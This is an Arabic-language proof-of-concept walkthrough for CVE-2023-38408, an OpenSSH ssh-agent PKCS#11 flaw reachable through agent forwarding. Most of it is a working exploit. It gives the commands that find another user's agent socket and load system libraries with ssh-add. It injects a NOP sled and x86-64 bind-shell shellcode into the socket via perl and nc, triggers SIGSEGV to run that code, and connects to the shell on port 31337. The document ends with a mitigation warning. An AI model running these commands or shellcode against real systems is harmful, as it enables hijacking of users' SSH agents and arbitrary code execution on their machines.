
الاستيلاء على حساب OpenSSH
تم العثور على ثغرة أمنية في OpenSSH (قبل الإصدار 9.3p2). تحتوي ميزة PKCS#11 في ssh-agent ضمن OpenSSH على مسار بحث غير موثوق بما فيه الكفاية، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد إذا تمت إعادة توجيه الوكيل (agent) إلى نظام يتحكم به المهاجم (الكود الموجود في /usr/lib ليس آمنًا بالضرورة لتحميله في ssh-agent). يسمح هذا الخلل للمهاجم الذي يتحكم في مقبس الوكيل المعاد توجيهه على الخادم ولديه القدرة على الكتابة في نظام ملفات جهاز الضحية بتنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم الذي يشغّل ssh-agent.
في المثال أدناه، يمكننا ملاحظة الخطوات بإيجاز بدءًا من الاستكشاف وصولًا إلى اختراق مستخدم أليس.
كما ذُكر سابقًا، سنستخدم في هذا POC مستخدمَين متصلين بخادم عبر SSH. لاتباع الخطوات أدناه، نفترض أن المستخدمين لديهما إمكانية الوصول إلى الخادم (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
أخيرًا، اضغط Ctrl-C لإيقاف نقل netcat بمجرد وضع الشيلكود بنجاح في ذاكرة ssh-agent.
[!NOTE] تحفيز SIGSEGV 💬
SIGSEGV هي إشارة معروفة تصدر إلى عملية حاسوب عند حدوث مرجع ذاكرة غير صالح (خطأ تجزؤ). عند استلام إشارة SIGSEGV، يدرك النواة (kernel) أن وصولًا غير صالح إلى الذاكرة قد حدث، ويشرع في استدعاء معالج الإشارة المخصص بدلًا من إنهاء البرنامج فجأة. وبهذا، ينتهز المهاجم الفرصة للتلاعب بتنفيذ البرنامج وتوجيهه نحو الكود الخبيث المحقون الموجود داخل NOP sled.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
تؤثر الثغرة بشكل أساسي على الأنظمة التي يكون فيها ssh-agent الخاص بـ OpenSSH قيد الاستخدام وتكون ميزة إعادة توجيه الوكيل (agent forwarding) مفعّلة. ينبغي على المؤسسات والأفراد الذين يعتمدون على OpenSSH تقييم إعداداتهم على الفور لتحديد مدى التعرض المحتمل. إذا كان نظامك يستوفي الشروط المذكورة، فمن الضروري اتخاذ إجراء فوري للتخفيف من المخاطر المرتبطة بـ CVE-2023-38408.